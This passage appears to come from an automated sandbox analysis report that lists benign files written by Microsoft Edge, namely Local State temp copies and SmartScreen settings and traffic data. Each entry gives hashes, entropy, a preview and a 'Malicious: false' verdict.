Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3955b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089746843903061
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMCkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynjZkzItSmd6qE7lFoC
MD5:	A4135151CE50DDFAF2D19DEAE0BC6A59
SHA1:	31FC053D933F82049C6FEDCF8882A6346E03B8F9
SHA-256:	38106EB197FAA203F596AA3F03D6E5081DB9186580F66A259E20D2B9F8701204
SHA-512:	AC5BA1AB736613AC56009DA85891E0330358F2DE6314EC7275C0D01B68DEBD888EE2F19905B75757843230A8D6F6DE5AC5FF76F9323E98D157DC8E007F03D00A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3956b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089746843903061
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMCkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynjZkzItSmd6qE7lFoC
MD5:	A4135151CE50DDFAF2D19DEAE0BC6A59
SHA1:	31FC053D933F82049C6FEDCF8882A6346E03B8F9
SHA-256:	38106EB197FAA203F596AA3F03D6E5081DB9186580F66A259E20D2B9F8701204
SHA-512:	AC5BA1AB736613AC56009DA85891E0330358F2DE6314EC7275C0D01B68DEBD888EE2F19905B75757843230A8D6F6DE5AC5FF76F9323E98D157DC8E007F03D00A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39720.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089746843903061
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMCkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynjZkzItSmd6qE7lFoC
MD5:	A4135151CE50DDFAF2D19DEAE0BC6A59
SHA1:	31FC053D933F82049C6FEDCF8882A6346E03B8F9
SHA-256:	38106EB197FAA203F596AA3F03D6E5081DB9186580F66A259E20D2B9F8701204
SHA-512:	AC5BA1AB736613AC56009DA85891E0330358F2DE6314EC7275C0D01B68DEBD888EE2F19905B75757843230A8D6F6DE5AC5FF76F9323E98D157DC8E007F03D00A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3be02.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089746843903061
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMCkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynjZkzItSmd6qE7lFoC
MD5:	A4135151CE50DDFAF2D19DEAE0BC6A59
SHA1:	31FC053D933F82049C6FEDCF8882A6346E03B8F9
SHA-256:	38106EB197FAA203F596AA3F03D6E5081DB9186580F66A259E20D2B9F8701204
SHA-512:	AC5BA1AB736613AC56009DA85891E0330358F2DE6314EC7275C0D01B68DEBD888EE2F19905B75757843230A8D6F6DE5AC5FF76F9323E98D157DC8E007F03D00A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3e783.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089746843903061
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMCkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynjZkzItSmd6qE7lFoC
MD5:	A4135151CE50DDFAF2D19DEAE0BC6A59
SHA1:	31FC053D933F82049C6FEDCF8882A6346E03B8F9
SHA-256:	38106EB197FAA203F596AA3F03D6E5081DB9186580F66A259E20D2B9F8701204
SHA-512:	AC5BA1AB736613AC56009DA85891E0330358F2DE6314EC7275C0D01B68DEBD888EE2F19905B75757843230A8D6F6DE5AC5FF76F9323E98D157DC8E007F03D00A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4a7f4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089746843903061
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMCkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynjZkzItSmd6qE7lFoC
MD5:	A4135151CE50DDFAF2D19DEAE0BC6A59
SHA1:	31FC053D933F82049C6FEDCF8882A6346E03B8F9
SHA-256:	38106EB197FAA203F596AA3F03D6E5081DB9186580F66A259E20D2B9F8701204
SHA-512:	AC5BA1AB736613AC56009DA85891E0330358F2DE6314EC7275C0D01B68DEBD888EE2F19905B75757843230A8D6F6DE5AC5FF76F9323E98D157DC8E007F03D00A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF50353.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089746843903061
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMCkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynjZkzItSmd6qE7lFoC
MD5:	A4135151CE50DDFAF2D19DEAE0BC6A59
SHA1:	31FC053D933F82049C6FEDCF8882A6346E03B8F9
SHA-256:	38106EB197FAA203F596AA3F03D6E5081DB9186580F66A259E20D2B9F8701204
SHA-512:	AC5BA1AB736613AC56009DA85891E0330358F2DE6314EC7275C0D01B68DEBD888EE2F19905B75757843230A8D6F6DE5AC5FF76F9323E98D157DC8E007F03D00A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
